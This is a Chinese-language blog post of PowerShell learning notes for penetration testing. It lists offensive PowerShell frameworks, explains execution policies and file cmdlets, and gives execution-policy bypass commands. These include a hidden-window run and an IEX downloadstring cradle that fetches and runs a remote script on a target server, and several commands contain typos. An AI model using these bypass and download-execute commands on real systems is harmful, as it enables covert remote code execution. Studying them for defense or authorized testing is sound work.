powershell学习笔记

常见的powershell攻击工具

  • PowerSploit:被广泛使用的powershell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作
  • Nishang:集成了框架、脚本和各种payload,包含下载和执行、键盘记录、DNS、延时命令等脚本
  • Empire:基于powershell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取以及持久化攻击
  • PowerCat:powershell版的NetCat,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它

powershell基本概念

为防止恶意脚本的执行,powershell有一个执行策略,默认情况下,这个执行策略被设为受限
在powershell命令无法执行时,可以使用cmdlet命令确定当前的执行策略

  • Get-ExecutionPolicy
  • Restricted:脚本不能运行(默认设置)
  • RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证明签名的除外)
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行
  • Unrestricted:允许所有的script运行
    还可以使用下面的cmdlet命令设置powershell的执行策略
Set-ExecutionPolicy <policy name>

运行一个powershell脚本,必须键入完整的路径名和文件名
进入文件所在位置,在文件名前加.\即可执行

powershell常用命令

基本知识

类似“cmd命令”叫做“cmdlet”,其命名规范十分一致,都采用“动词-名词”形式,如New-Item,动词部分一般为Add,New,Get,Remote,Set等,命名的别名一般兼容Windows Command和Linux Shell,如Get-Childltem命令使用dir和ls均可,且powershell命令不区分大小写
下面以文件操作为例讲解powershell的基本语法:

新建目录:New-ltem whitecellclub-ltem Type Directory
新建文件:New-ltem light.txt-ltem Type File
删除目录:Remove-ltem whitecellclud
显示文本内容:Get-Content test.txt
设置文本内容:Set-Content test.txt -Value"hell,word!"
追加内容:Add-Content light.txt -Value "i love you"
清除内容:Clear-Content test.txt

常用命令

通过windows终端输入powershell命令进入powershell命令行
输入help即可显示帮助模块
在这里插入图片描述
运行powershell脚本程序,需要使用管理员权限将Restricted策略更改为Unrestricted,因此在渗透时,需要采用一些方法来绕过策略执行脚本

  • 绕过本地权限执行
    上传runme.ps1到目标服务器,在cmd环境中,在目标服务器本地执行此脚本
    runme.ps1的内容
Write-Host "My voice is my password,verify me."

命令如下:

powershell.exe -executionpolicy bypass -file runme.ps1

在这里插入图片描述

  • 本地隐藏绕过权限执行脚本
powershell.exe -executionpolicy bypass -windowstyle hidden -nologo -nonlnteractive -noprofile -file runme.ps1
  • 用IEX下载远程PS1脚本绕过执行权限
powershell.exe -executionpolicy bypass  -windowstyle hidden-noprofile-noni iex(new-objectnet.webclient).downloadstring("runme.ps1");[parametres]

命令参数说明:

  • executionpolicy bypass:绕过执行安全策略通过设置该参数,可以绕过任意一个安全保护规则
  • windowstyle hidden:隐藏窗口
  • nologo:启动不显式版权标志的powershell
  • nonlnteractive(-NonI):非交互模式,powershell不为用户提供交互的提示
  • noprofile:powershell控制台不加载当前用户的配置文件
  • noexit:执行后不退出shell

其余绕过策略方法
绕过powellshell执行策略的十五种方法

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值